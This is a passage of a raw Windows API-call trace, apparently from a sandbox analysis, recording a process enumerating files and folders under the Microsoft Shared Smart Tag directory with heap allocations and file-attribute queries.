ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0051.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0051.690] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0051.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0051.692] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0051.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0051.692] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0051.692] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0051.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0051.693] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0051.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0051.693] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0051.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0051.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee828 [0051.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeefbb0 [0051.693] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0051.693] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 0 [0051.693] GetLastError () returned 0x12 [0051.693] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0051.693] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0051.693] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.693] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0051.693] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0051.693] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0051.693] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 0 [0051.693] GetLastError () returned 0x12 [0051.693] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0051.694] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0051.694] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef9a0) returned 1 [0051.694] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.694] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0051.694] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0051.694] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0051.694] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0051.694] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0051.694] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0051.694] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="")) returned 1 [0051.694] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0051.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.694] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0051.737] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0051.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef13b8 [0051.737] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef13b8, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xef13b8, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0051.737] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef13b8) returned 1 [0051.737] NtClose (Handle=0x174) returned 0x0 [0051.737] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef9a0 [0051.737] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeefcb8 [0051.737] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0051.737] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.738] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0051.738] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0051.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.738] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.738] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeefdc0 [0051.738] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee848 [0051.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeefec8 [0051.738] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.738] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 0 [0051.738] GetLastError () returned 0x12 [0051.738] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0051.738] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0051.738] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.738] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0051.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeffd0 [0051.738] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0051.739] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0051.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef13b8 [0051.739] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef13b8, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xef13b8, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0051.739] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef13b8) returned 1 [0051.739] NtClose (Handle=0x174) returned 0x0 [0051.739] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeffd0) returned 1 [0051.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeffd0 [0051.739] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef00d8 [0051.739] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0051.739] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.739] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0051.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.739] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.739] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef01e0 [0051.740] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0051.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee868 [0051.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef02e8 [0051.740] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.740] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0051.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.740] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.740] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee888 [0051.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef03f0 [0051.740] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.740] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0051.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.740] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.740] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee8a8 [0051.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef04f8 [0051.740] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.740] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0051.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.740] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.741] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee8c8 [0051.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef0600 [0051.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x5c0) returned 